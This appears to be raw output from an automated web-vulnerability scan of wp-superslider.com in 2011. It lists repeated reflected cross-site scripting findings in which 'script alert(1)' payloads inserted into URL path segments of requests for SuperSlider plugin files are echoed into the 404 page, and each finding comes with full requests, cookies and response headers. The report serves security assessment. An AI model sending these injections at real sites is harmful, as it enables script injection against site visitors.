HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:22 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674542+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674542; expires=Thu, 02-Feb-2012 19:22:22 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:22 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53482
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31761"><script>alert(1)</script>9a2ec4ef367 was submitted in the REST URL parameter 2. This input was echoed as 31761\"><script>alert(1)</script>9a2ec4ef367 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content31761"><script>alert(1)</script>9a2ec4ef367/plugins/superslider-login/plugin-data/superslider/ssLogin/default/default_horizontal.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:23 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674543+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674543; expires=Thu, 02-Feb-2012 19:22:23 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:23 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53482
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 214f6"><script>alert(1)</script>21d72fb4419 was submitted in the REST URL parameter 3. This input was echoed as 214f6\"><script>alert(1)</script>21d72fb4419 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins214f6"><script>alert(1)</script>21d72fb4419/superslider-login/plugin-data/superslider/ssLogin/default/default_horizontal.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:24 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674545+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674545; expires=Thu, 02-Feb-2012 19:22:25 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:25 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53482
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c380"><script>alert(1)</script>942fd5177a7 was submitted in the REST URL parameter 4. This input was echoed as 7c380\"><script>alert(1)</script>942fd5177a7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-login7c380"><script>alert(1)</script>942fd5177a7/plugin-data/superslider/ssLogin/default/default_horizontal.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:26 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674547+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674547; expires=Thu, 02-Feb-2012 19:22:27 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:27 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53482
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53af1"><script>alert(1)</script>8d9b584a4b9 was submitted in the REST URL parameter 5. This input was echoed as 53af1\"><script>alert(1)</script>8d9b584a4b9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-login/plugin-data53af1"><script>alert(1)</script>8d9b584a4b9/superslider/ssLogin/default/default_horizontal.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:28 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674548+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674549; expires=Thu, 02-Feb-2012 19:22:29 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:29 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53482
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d94d5"><script>alert(1)</script>8937e1e9ddf was submitted in the REST URL parameter 6. This input was echoed as d94d5\"><script>alert(1)</script>8937e1e9ddf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-login/plugin-data/supersliderd94d5"><script>alert(1)</script>8937e1e9ddf/ssLogin/default/default_horizontal.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:30 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674550+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674551; expires=Thu, 02-Feb-2012 19:22:31 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:31 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53483
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1d48"><script>alert(1)</script>dbdb56bcb58 was submitted in the REST URL parameter 7. This input was echoed as e1d48\"><script>alert(1)</script>dbdb56bcb58 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-login/plugin-data/superslider/ssLogine1d48"><script>alert(1)</script>dbdb56bcb58/default/default_horizontal.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:32 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674552+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674553; expires=Thu, 02-Feb-2012 19:22:33 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:33 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53482
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload afe00"><script>alert(1)</script>5f54c2a8b93 was submitted in the REST URL parameter 8. This input was echoed as afe00\"><script>alert(1)</script>5f54c2a8b93 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-login/plugin-data/superslider/ssLogin/defaultafe00"><script>alert(1)</script>5f54c2a8b93/default_horizontal.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:34 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674554+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674555; expires=Thu, 02-Feb-2012 19:22:35 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:35 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53482
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 9 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87487"><script>alert(1)</script>39e89501d03 was submitted in the REST URL parameter 9. This input was echoed as 87487\"><script>alert(1)</script>39e89501d03 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-login/plugin-data/superslider/ssLogin/default/default_horizontal.css87487"><script>alert(1)</script>39e89501d03 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:37 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674557+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674557; expires=Thu, 02-Feb-2012 19:22:37 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:37 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53482
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea79a"><script>alert(1)</script>9de5f2df942 was submitted in the REST URL parameter 1. This input was echoed as ea79a\"><script>alert(1)</script>9de5f2df942 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /siteea79a"><script>alert(1)</script>9de5f2df942/wp-content/plugins/superslider-menu/js/nav-follow-min.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:40 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674561+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674561; expires=Thu, 02-Feb-2012 19:22:41 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:41 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63b7c"><script>alert(1)</script>2271b17551d was submitted in the REST URL parameter 2. This input was echoed as 63b7c\"><script>alert(1)</script>2271b17551d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content63b7c"><script>alert(1)</script>2271b17551d/plugins/superslider-menu/js/nav-follow-min.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:42 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674563+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674563; expires=Thu, 02-Feb-2012 19:22:43 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:43 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfc9a"><script>alert(1)</script>550f85bc728 was submitted in the REST URL parameter 3. This input was echoed as dfc9a\"><script>alert(1)</script>550f85bc728 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/pluginsdfc9a"><script>alert(1)</script>550f85bc728/superslider-menu/js/nav-follow-min.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:44 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674564+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674564; expires=Thu, 02-Feb-2012 19:22:44 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:44 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eeafd"><script>alert(1)</script>0b49ecee366 was submitted in the REST URL parameter 4. This input was echoed as eeafd\"><script>alert(1)</script>0b49ecee366 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-menueeafd"><script>alert(1)</script>0b49ecee366/js/nav-follow-min.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:45 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674566+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674566; expires=Thu, 02-Feb-2012 19:22:46 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:46 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload daaa3"><script>alert(1)</script>cfbe353e491 was submitted in the REST URL parameter 5. This input was echoed as daaa3\"><script>alert(1)</script>cfbe353e491 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-menu/jsdaaa3"><script>alert(1)</script>cfbe353e491/nav-follow-min.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:47 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674568+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674568; expires=Thu, 02-Feb-2012 19:22:48 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:48 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fcb6"><script>alert(1)</script>4b7a1a7b17f was submitted in the REST URL parameter 6. This input was echoed as 1fcb6\"><script>alert(1)</script>4b7a1a7b17f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-menu/js/nav-follow-min.js1fcb6"><script>alert(1)</script>4b7a1a7b17f HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:49 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674569+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674569; expires=Thu, 02-Feb-2012 19:22:49 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:49 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
